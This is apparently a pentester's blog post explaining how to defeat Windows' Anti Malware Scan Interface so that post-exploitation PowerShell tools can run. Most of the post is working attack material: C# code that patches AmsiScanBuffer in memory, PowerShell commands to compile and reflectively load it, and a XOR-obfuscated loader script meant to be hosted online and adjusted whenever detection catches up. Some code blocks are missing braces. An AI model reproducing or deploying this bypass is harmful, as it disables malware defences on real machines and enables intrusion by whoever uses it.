This post was originally posted on Mor's personal blog at November 8th 2019


Powershell can be a powerful tool during the post-exploitation phase of our engagements. It packs a lot of native tools that can help us enumerate further beyond our initial foothold and onto the rest of the AD network. Probably, one of the best advantages of Powershell is having access to awesome public scripts and tools like Empire, PowerSploit, Nishang and many others, but what if AMSI will not let us use any of these tools?

What is AMSI?

AMSI stands for “Anti Malware Scan Interface” and it’s job is to scan and block anything malicious. Still don’t know what I’m talking about? Perhaps this will help:

Obviously if you are experienced with pentesting in AD networks, you encountered this error with almost all public known scripts.

How AMSI works exactly?

It uses a string based detection mechanism to detect “dangerous” commands and potentially malicious scripts. Check out this example:

As you can see the word “amsiutils” is prohibited so any Powershell scripts containing this word will be blocked by AMSI.

So how can we bypass it?

Good thing you asked because I got some examples for you. String based detection are very easy to bypass - just refrain from using the banned string literally. Here are some ways to execute banned string without actually using it:

By simply splitting the string you could fool AMSI and execute your banned string. This is a very common technique to use in obfuscation in general.

You can also encode your string to base64 - in most cases that will be enough to fool AMSI. If all else fails we can encode the string to bytes and even use XOR to make it even harder for AMSI but we will discuss that towards the end of the post. The examples above are mere workarounds though, and to do this with every online public scripts we want to use is simply impractical. So how can we disable AMSI?

Disabling AMSI

After scouring the web for a bit searching for a practical way to disable AMSI I stumbled onto CyberArk post in which he explains how he was able to disable AMSI using a memory patch to basically make AMSI execute all of its scans on a length of 0 (AKA not scanning anything). He provided a C# code that compiles into a DLL which we can load into Powershell and disable AMSI. Unfortunately, CyberArk code’s not longer valid. Apparently Windows Defender now blocks it so we can’t even compile it, let alone load it into Powershell. Upon further investigation and manipulation to the CyberArk code I managed to come up with this code that successfully evades Windows Defender:

using System;
using System.Runtime.InteropServices;

namespace BP
    public class AMS
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        public static extern IntPtr LoadLibrary(string name);
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static void Disable()
            IntPtr AMSDLL = LoadLibrary("amsi.dll");
            IntPtr AMSBPtr = GetProcAddress(AMSDLL, "Am" + "si" + "Scan" + "Buffer");
            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            VirtualProtect(AMSBPtr, dwSize, 0x40, out Zero);
            Byte[] Patch1 = { 0x31 };
            Byte[] Patch2 = { 0xff };
            Byte[] Patch3 = { 0x90 };
            IntPtr unmanagedPointer1 = Marshal.AllocHGlobal(1);
            Marshal.Copy(Patch1, 0, unmanagedPointer1, 1);
            MoveMemory(AMSBPtr + 0x001b, unmanagedPointer1, 1);
            IntPtr unmanagedPointer2 = Marshal.AllocHGlobal(1);
            Marshal.Copy(Patch2, 0, unmanagedPointer2, 1);
            MoveMemory(AMSBPtr + 0x001c, unmanagedPointer2, 1);
            IntPtr unmanagedPointer3 = Marshal.AllocHGlobal(1);
            Marshal.Copy(Patch3, 0, unmanagedPointer3, 1);
            MoveMemory(AMSBPtr + 0x001d, unmanagedPointer3, 1);
            Console.WriteLine("Memory patched successfuly.");

You can easily compile it into a DLL using Powershell:

PS C:\Users\Mor> Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -OutputAssembly "Source.dll"

To load it into Powershell we can use its native (.NET) API:

PS C:\Users\Mor> [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\\Source.dll"))

and to execute it, we simply call the now loaded function inside the DLL:

PS C:\Users\Mor> [BP.AMS]::Disable()

This is how it looks in action:

As you can see, we are now able to use the string “amsiutils” literally. We have successfully disabled AMSI. Right now we can load any external Powershell script like PowerSploit or Nishang without AMSI blocking it.

Putting it all together

Once we have everything working we should try to automate everything we can because during engagements we might not have the time or the ability to do all of the steps above. I decided to encode the entire DLL to base64 and create a script that will automatically reflect it to memory and execute it. To encode the dll to base64 I used this command:

PS C:\Users\Mor> $encoded_dll_string = [Convert]::ToBase64String([IO.File]::ReadAllBytes("$pwd\\Source.dll"))

The resulted string is the encoded DLL.

We can load it into memory like this:

PS C:\Users\Mor> [Reflection.Assembly]::Load([Convert]::FromBase64String($encoded_dll_string)) | Out-Null

To my surprise, AMSI detected my encoded DLL string (or at least some part of it) as malicious and blocked it:

I managed to bypass this by splitting the string somewhere in the middle (after some trial and error) but in my final script I decided to go with something a bit more “long-term”: ByteString + XOR Since AMSI only detects strings and not logic I needed a way to represent the DLL code with a string that I could easily change whenever AMSI decides to ban it.

What I did is the following: I loaded the DLL bytes in Powershell, ran the byte array through a XOR function and finally converted it to a ByteString.

PS C:\Users\Mor> $byteArray = [IO.File]::ReadAllBytes("$pwd\\Source.dll")
PS C:\Users\Mor> $keyArray = @(12, 85, 65)
PS C:\Users\Mor> $keyPosition = 0
PS C:\Users\Mor> for($i=0; $i -lt $byteArray.count ; $i++) {
					$byteArray[$i] = $byteArray[$i] -bxor $KeyArray[$keyposition]
		     		$keyposition += 1
					if ($keyposition -eq $keyArray.Length) {
						$keyposition = 0
PS C:\Users\Mor> $byteString = ($byteArray | ForEach-Object ToString) -join ','

The only thing left to do is to copy the encoded ByteString into the final Powershell script and host it online for me to use whenever I need it. If for some reason AMSI will ever decide to block my encoded ByteString all I need to do is change the XOR key and copy the new encoded ByteString to the Powershell script and I’m good to go.

The final Powershell script:

function AMSBP {
	if (-not ([System.Management.Automation.PSTypeName]"BP.AMS").Type) {
		$byteArray = @(65,15,209,12,86,65,12,85,69,12,85,<SNIPPED_FOR_BREVITY>,65,12,85,65,12)
		$KeyArray = @(12, 85, 65)
		$keyposition = 0
		for ($i = 0; $i -lt $byteArray.count; $i++)
			$byteArray[$i] = $byteArray[$i] -bxor $KeyArray[$keyposition]
			$keyposition += 1
			if ($keyposition -eq $keyArray.Length) { $keyposition = 0 }
		[Reflection.Assembly]::Load([byte[]]$byteArray) | Out-Null
		Write-Output "DLL has been reflected"

Here is the final hosted script in action:

As you can see this technique is pretty simple to use and very useful when you wish to load some Powershell post-exploitation scripts that were once blocked by AMSI.

I hope you like this post like I enjoyed working on it. Hope you learned something new. Thanks for CyberArk for sharing this technique.

Best regards,